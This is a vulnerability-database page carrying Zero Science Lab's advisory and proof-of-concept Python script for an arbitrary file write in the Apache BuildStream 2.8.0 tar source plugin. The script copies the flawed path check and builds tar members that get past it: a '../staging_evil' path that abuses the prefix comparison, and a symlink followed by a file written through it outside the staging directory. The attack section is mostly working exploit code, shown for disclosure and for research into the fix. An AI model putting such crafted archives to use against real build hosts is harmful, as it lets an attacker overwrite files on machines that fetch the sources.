Lucene search
+L

Apache BuildStream 2.8.0 (symlink) Arbitrary File Write

🗓️ 24 Sep 2026 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 34 Views

Apache BuildStream 2.8.0 tar source plugin allows arbitrary file write via symlinks.

Related
Code
<html><body><p>#!/usr/bin/env python
#
#
# Apache BuildStream 2.8.0 (symlink) Arbitrary File Write
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://buildstream.apache.org
# Affected version: &lt;=2.8.0
#
# Summary: BuildStream is a powerful software integration tool
# that allows developers to automate the integration of software
# components including operating systems, and to streamline the
# software development and production process.
#
# Desc: Apache BuildStream's tar source plugin extracts archives
# without safely resolving symbolic links (link following). A
# malicious source tarball can include a symlink entry that points
# outside the staging directory and then a file entry that writes
# through it, so a crafted upstream source can create or overwrite
# files on the host with the privileges of the user running BuildStream,
# as part of source fetching. On Python &lt; 3.12 the plugin relied
# on an incomplete internal check (_assert_safe, which skipped
# symlink members and used a buggy basename/prefix comparison) as
# the only guard. The fix replaces that check with a custom extraction
# filter built on the Python tarfile data and tar filters, applied
# on all Python versions (using a local copy of tarfile.py on Python
# &lt; 3.12).
#
# Tested on: Linux, Python 3.10
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research &amp; Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2026-6005
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6005
#
#
# 13.08.2026
#

import io######
import os######
import sys#####
import tarfile#
import tempfile

class Kukla:
    def __str__(self): return "tar-source"

def _assert_safe(self, member, target_dir):
    final_path = os.path.abspath(os.path.join(target_dir, member.path))
    if not final_path.startswith(target_dir):
        raise Exception("attempts to extract outside staging area: {} -&gt; {}".format(member.path, final_path))
    if member.islnk():
        linked_path = os.path.abspath(os.path.join(target_dir, member.linkname))
        if not linked_path.startswith(target_dir):
            raise Exception("hardlink outside staging area")

base = tempfile.mkdtemp(prefix="bst_poc_")
staging = os.path.join(base, "staging")
os.makedirs(staging)
sibling_secret = os.path.join(base, "staging_evil")
os.makedirs(sibling_secret)
print("target_dir (staging):", staging)
print("sibling out-of-bounds:", sibling_secret)
print("py&lt;3.12 (no builtin filter path):", sys.version_info &lt; (3, 12))
print()

ti = tarfile.TarInfo(name="../staging_evil/pwned")
data = b"OWNED-VIA-PREFIX-BUG"
ti.size = len(data)
passed = True
try:
    _assert_safe(Kukla(), ti, staging)
except Exception as e:
    passed = False
    print("(A) _assert_safe REJECTED:", e)
if passed:
    final = os.path.abspath(os.path.join(staging, ti.path))
    print(f"(A) _assert_safe ALLOWED  member '../staging_evil/pwned'  -&gt; {final}")
    print(f"    escapes staging? {not final.startswith(staging + os.sep)}  (writes into sibling dir)")

print()
sym = tarfile.TarInfo(name="evil")
sym.type = tarfile.SYMTYPE
sym.linkname = os.path.abspath(os.path.join(base, "OUTSIDE"))
f = tarfile.TarInfo(name="evil/pwned")
f.size = 5
for m in (sym, f):
    try:
        _assert_safe(Kukla(), m, staging)
        kind = "symlink-&gt;" + (m.linkname if m.issym() else "")
        print(f"(B) _assert_safe ALLOWED  {m.name!r} ({'symlink' if m.issym() else 'file'}{' -&gt; '+m.linkname if m.issym() else ''})")
    except Exception as e:
        print(f"(B) _assert_safe REJECTED {m.name!r}: {e}")
print("    =&gt; on POSIX, extractall writes 'evil/pwned' THROUGH the symlink to",
      os.path.abspath(os.path.join(base, "OUTSIDE", "pwned")))
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Sep 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.19.8
EPSS0.00424
SSVC
34